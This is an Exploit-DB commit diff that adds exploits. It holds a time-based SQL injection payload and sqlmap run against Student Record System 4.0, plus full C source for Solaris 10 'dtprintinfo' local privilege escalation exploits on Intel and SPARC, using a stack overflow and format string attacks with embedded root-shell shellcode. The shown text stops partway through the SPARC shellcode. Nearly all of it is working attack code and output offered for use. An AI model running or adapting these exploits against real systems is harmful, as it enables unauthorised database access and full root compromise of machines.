DB: 2021-02-03

6 changes to exploits/shellcodes

Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation
Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (1)
Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)
Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)
Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)

Student Record System 4.0 - 'cid' SQL Injection
This commit is contained in:
Offensive Security 2021-02-03 05:01:58 +00:00
parent f7b4bca87b
commit 0f068c1f51
7 changed files with 2039 additions and 1 deletions

View file

@ -0,0 +1,102 @@
# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP
# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-course.php
3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI
If the web server makes you wait 5 seconds then it's vulnerable
# Exploit
Now you can exploit it using sqlmap
command: sqlmap -u url --batch --dbms=mysql --current-db --current-user
example: sqlmap.py -u
http://localhost/schoolmanagement/edit-course.php?cid=7 --batch
--dbms=mysql --current-db --current-user
___
__H__
___ ___["]_____ ___ ___ {1.4.10.16#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:21:36 /2021-02-02/
[13:21:36] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'.
Do you want to follow? [Y/n] Y
you have not declared cookie(s), while server wants to set its own
('PHPSESSID=88oau62p72k...thmqvnofk6'). Do you want to use those [Y/n] Y
[13:21:37] [INFO] checking if the target is protected by some kind of
WAF/IPS
[13:21:37] [INFO] testing if the target URL content is stable
[13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic
[13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid'
might not be injectable
[13:21:37] [INFO] testing for SQL injection on GET parameter 'cid'
[13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace
(original value)'
[13:21:38] [INFO] testing 'Generic inline queries'
[13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (FLOOR)'
[13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace
(FLOOR)'
[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query
SLEEP)'
[13:21:39] [WARNING] time-based comparison requires larger statistical
model, please wait............... (done)
[13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND
time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL'
extending provided level (1) and risk (1) values? [Y/n] Y
[13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:21:50] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other (potential) technique found
[13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is
a false positive
GET parameter 'cid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65
HTTP(s) requests:
---
Parameter: cid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND
'yXjI'='yXjI
---
[13:22:13] [INFO] the back-end DBMS is MySQL
[13:22:13] [WARNING] it is very important to not stress the network
connection during usage of time-based payloads to prevent potential
disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses
(option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[13:22:18] [INFO] fetching current user
[13:22:18] [INFO] retrieved:
[13:22:28] [INFO] adjusting time delay to 1 second due to good response
times
root@localhost
current user: 'root@localhost'
[13:23:24] [INFO] fetching current database
[13:23:24] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[13:24:22] [INFO] fetched data logged to text files under

View file

@ -0,0 +1,356 @@
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 Intel
/*
* raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* "What we do in life echoes in eternity" -- Maximus Decimus Meridius
* https://patchfriday.com/22/
*
* Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. This one was discovered by Marti Guasch Jimenez, who attended my
* talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on
* May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19).
*
* It's a stack-based buffer overflow in the check_dir() function:
* void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){
* char local_724 [300];
* ...
* __format = getenv("REQ_DIR");
* sprintf(local_724,__format,param_2);
*
* "To trigger this vulnerability we need a printer present, we can also fake
* it with the lpstat trick. We also need at least one directory in the path
* pointed by the environment variable TMP_DIR. Finally, we just need to set
* REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to
* overwrite EIP." -- Marti Guasch Jimenez
*
* This bug was likely fixed during the general cleanup of CDE code done by
* Oracle in response to my recently reported vulnerabilities. However, I can't
* confirm this because I have no access to their patches:/
*
* Usage:
* $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0
* [on your xserver: double click on the fake "fnord" printer]
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Tested on:
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
* [previous Solaris versions are also likely vulnerable]
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>
#define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE"
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 2048 // size of the evil env var
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int get_sc_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE];
char platform[256], release[256], display[256];
int i, sc_addr;
int sb = ((int)argv[0] | 0xfff); /* stack base */
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem(); /* rwx memory */
/* lpstat code to add a fake printer */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for fnord: /dev/null\n");
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: fnord\n");
}
exit(0);
}
/* helper program that prints argv[0] address, used by get_sc_addr() */
if (!strcmp(argv[0], "foo")) {
printf("0x%p\n", argv[0]);
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* prepare the evil env var */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "REQ_DIR=", 8);
/* fill the envp, keeping padding */
add_env(sc);
add_env(buf);
add_env(display);
add_env("TMP_DIR=/tmp");
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* calculate the shellcode address */
sc_addr = get_sc_addr(VULN, argv);
/* fill with ld.so.1 address, saved eip, and arguments */
for (i = 12; i < BUFSIZE - 20; i += 4) {
set_val(buf, i, ret); /* strcpy */
set_val(buf, i += 4, rwx_mem); /* saved eip */
set_val(buf, i += 4, rwx_mem); /* 1st argument */
set_val(buf, i += 4, sc_addr); /* 2nd argument */
}
/* we need at least one directory inside TMP_DIR to trigger the bug */
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* check for null bytes */
check_zero(sc_addr, "sc address");
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* get_sc_addr(): get shellcode address using a helper program
*/
int get_sc_addr(char *path, char **argv)
{
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char hex[11] = "\x00";
int fd[2], addr;
/* truncate program name at correct length and create a hard link */
prog[strlen(path)] = 0x0;
unlink(prog);
link(argv[0], prog);
/* open pipe to read program output */
if (pipe(fd) < 0) {
perror("pipe");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("fork");
exit(1);
case 0: /* child */
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror("execve");
exit(1);
default: /* parent */
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}
/* check and return address */
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, "error: cannot read sc address from helper program\n");
exit(1);
}
return addr;
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address null bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
/*
* set_val(): copy a dword inside a buffer (little endian)
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0x000000ff);
buf[pos + 1] = (val & 0x0000ff00) >> 8;
buf[pos + 2] = (val & 0x00ff0000) >> 16;
buf[pos + 3] = (val & 0xff000000) >> 24;
}

View file

@ -0,0 +1,279 @@
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 Intel
/*
* raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
* https://youtu.be/KEkrWRHCDQU
*
* Same code snippet, different vulnerability. 20 years later, format string
* bugs are not extinct after all! The vulnerable function looks like this:
*
* void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
* {
* ...
* char local_724 [300];
* ...
* else {
* __format = getenv("REQ_DIR");
* sprintf(local_724,__format,param_2); // [1]
* }
* ...
* local_c = strlen(local_724); // [2]
* sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
* ...
* }
*
* The plan (inspired by an old technique devised by gera) is to exploit the
* sprintf at [1], where we control the format string, to replace the strlen
* at [2] with a strdup and the sprintf at [3] with a call to the shellcode
* dynamically allocated in the heap by strdup and pointed to by the local_c
* variable at [2]. In practice, to pull this off the structure of the evil
* environment variable REQ_DIR must be:
* [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
*
* To collect the needed addresses for your system, use:
* $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
* 080994cc R_386_JUMP_SLOT strlen
* $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
* 080994e4 R_386_JUMP_SLOT sprintf
* $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
* 0805df20 F *UND* 00000000 strdup
* $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
* 08067f52: ff 55 f8 call *-0x8(%ebp)
*
* This bug was likely fixed during the general cleanup of CDE code done by
* Oracle in response to my recently reported vulnerabilities. However, I can't
* confirm this because I have no access to their patches:/
*
* See also:
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
* raptor_dtprintcheckdir_sparc.c (just a proof of concept)
* raptor_dtprintcheckdir_sparc2.c (the real deal)
*
* Usage:
* $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
* [on your xserver: double click on the fake "fnord" printer]
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Tested on:
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
* [previous Solaris versions are also likely vulnerable]
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
#define BUFSIZE 300 // size of evil env var
#define STACKPOPSEQ "%.8x" // stackpop sequence
#define STACKPOPS 14 // number of stackpops
/* replace with valid addresses for your system */
#define STRLEN 0x080994cc // .got strlen address
#define SPRINTF 0x080994e4 // .got sprintf address
#define STRDUP 0x0805df20 // .plt strdup address
#define RET 0x08067f52 // call *-0x8(%ebp) address
/* split an address in 4 bytes */
#define SPLITB(b1, b2, b3, b4, addr) { \
b1 = (addr & 0x000000ff); \
b2 = (addr & 0x0000ff00) >> 8; \
b3 = (addr & 0x00ff0000) >> 16; \
b4 = (addr & 0xff000000) >> 24; \
}
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf;
char platform[256], release[256], display[256];
int i, stackpops = STACKPOPS;
unsigned base, n1, n2, n3, n4, n5, n6, n7, n8;
unsigned char strdup1, strdup2, strdup3, strdup4;
unsigned char ret1, ret2, ret3, ret4;
int strlen_got = STRLEN;
int sprintf_got = SPRINTF;
int strdup_plt = STRDUP;
int ret = RET;
/* lpstat code to add a fake printer */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for fnord: /dev/null\n");
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: fnord\n");
}
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* evil env var: name + shellcode + padding */
bzero(buf, BUFSIZE);
sprintf(buf, "REQ_DIR=%s#", sc);
p += strlen(buf);
/* format string: .got strlen address */
*((void **)p) = (void *)(strlen_got); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(strlen_got + 1); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(strlen_got + 2); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(strlen_got + 3); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
/* format string: .got sprintf address */
*((void **)p) = (void *)(sprintf_got); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(sprintf_got + 1); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(sprintf_got + 2); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(sprintf_got + 3); p += 4;
/* format string: stackpop sequence */
base = strlen(buf) - strlen("REQ_DIR=");
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
strcat(p, STACKPOPSEQ);
/* calculate numeric arguments for .plt strdup address */
SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt);
n1 = (strdup1 - base) % 0x100;
n2 = (strdup2 - base - n1) % 0x100;
n3 = (strdup3 - base - n1 - n2) % 0x100;
n4 = (strdup4 - base - n1 - n2 - n3) % 0x100;
/* calculate numeric arguments for call *-0x8(%ebp) address */
SPLITB(ret1, ret2, ret3, ret4, ret);
n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100;
n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100;
n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100;
n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100;
/* check for potentially dangerous numeric arguments below 10 */
n1 += (n1 < 10) ? (0x100) : (0);
n2 += (n2 < 10) ? (0x100) : (0);
n3 += (n3 < 10) ? (0x100) : (0);
n4 += (n4 < 10) ? (0x100) : (0);
n5 += (n5 < 10) ? (0x100) : (0);
n6 += (n6 < 10) ? (0x100) : (0);
n7 += (n7 < 10) ? (0x100) : (0);
n8 += (n8 < 10) ? (0x100) : (0);
/* format string: write string */
sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8);
/* fill the envp, keeping padding */
add_env(buf);
add_env(display);
add_env("TMP_DIR=/tmp");
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* we need at least one directory inside TMP_DIR to trigger the bug */
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got);
fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got);
fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt);
fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}

View file

@ -0,0 +1,549 @@
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 SPARC
/*
* raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* "Mimimimimimimi
* Mimimi only mimi
* Mimimimimimimi
* Mimimi sexy mi"
* -- Serebro
*
* As usual, exploitation on SPARC turned out to be much more complicated (and
* fun) than on Intel. Since the vulnerable program needs to survive one
* additional function before we can hijack %pc, the classic stack-based buffer
* overflow approach didn't seem feasible in this case. Therefore, I opted for
* the format string bug. This is just a proof of concept, 'cause guess what --
* on my system it works only when gdb or truss are attached to the target
* process:( To borrow Neel Mehta's words:
*
* "It's quite common to find an exploit that only works with GDB attached to
* the process, simply because without the debugger, break register windows
* aren't flushed to the stack and the overwrite has no effect."
* -- The Shellcoder's Handbook
*
* On different hardware configurations this exploit might work if the correct
* retloc and offset are provided. It might also be possible to force a context
* switch at the right time that results in registers being flushed to the
* stack at the right moment. However, this method tends to be unreliable even
* when the attack is repeatable like in this case. A better way to solve the
* puzzle would be to overwrite something different, e.g.:
*
* - Activation records of other functions, such as check_dir() (same issues)
* - Callback to function SortJobs() (nope, address is hardcoded in .text)
* - PLT in the binary (I need a different technique to handle null bytes)
* - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!)
* - Other OS function pointers I'm not aware of still present in Solaris 10
*
* Finally, it might be possible to combine the stack-based buffer overflow and
* the format string bug to surgically fix addresses and survive until needed
* for program flow hijacking to be possible. Bottom line: there's still some
* work to do to obtain a reliable exploit, but I think it's feasible. You're
* welcome to try yourself if you feel up to the task and have a spare SPARC
* box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
*
* This bug was likely fixed during the general cleanup of CDE code done by
* Oracle in response to my recently reported vulnerabilities. However, I can't
* confirm this because I have no access to their patches:/
*
* See also:
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
* raptor_dtprintcheckdir_intel2.c
* raptor_dtprintcheckdir_sparc2.c (the real deal)
*
* Usage:
* $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
* [on your xserver: disable the access control]
* $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
* [on your xserver: double click on the fake "fnord" printer]
* ...
* -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
* -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
* <- libc:getenv() = 0xffbff364
* -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
* <- libc:getenv() = 0xffbff364
* -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
* ...
* setuid(0) = 0
* chmod("/bin/ksh", 037777777777) = 0
* _exit(0)
* $ ksh
* # id
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
* #
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC"
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
#define BUFSIZE 3000 // size of evil env var
#define BUFSIZE2 10000 // size of padding buf
#define STACKPOPSEQ "%.8x" // stackpop sequence
#define STACKPOPS 383 // number of stackpops
/* default retloc and offset for sprintf() */
#define RETLOC 0xffbfbb3c // saved ret location
#define OFFSET 84 // offset from retloc to i0loc
/* default retloc and offset for check_dir() */
/* TODO: patch %i6 that gets corrupted by overflow */
//#define RETLOC 0xffbfbbac // default saved ret location
//#define OFFSET 1884 // default offset from retloc to i0loc
/* split an address in 4 bytes */
#define SPLITB(B1, B2, B3, B4, ADDR) { \
B4 = (ADDR & 0x000000ff); \
B3 = (ADDR & 0x0000ff00) >> 8; \
B2 = (ADDR & 0x00ff0000) >> 16; \
B1 = (ADDR & 0xff000000) >> 24; \
}
/* calculate numeric arguments for write string */
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
N1 = (B4 - BASE) % 0x100; \
N2 = (B2 - BASE - N1) % 0x100; \
N3 = (B1 - BASE - N1 - N2) % 0x100; \
N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
BASE += N1 + N2 + N3 + N4; \
}
//#define USE_EXEC_SC // uncomment to use exec shellcode
#ifdef USE_EXEC_SC
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* execve("/bin/ksh", argv, NULL) */
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
"\x41\x41\x41\x41" /* placeholder */
"/bin/ksh";
#else
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* chmod("/bin/ksh", 037777777777) */
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
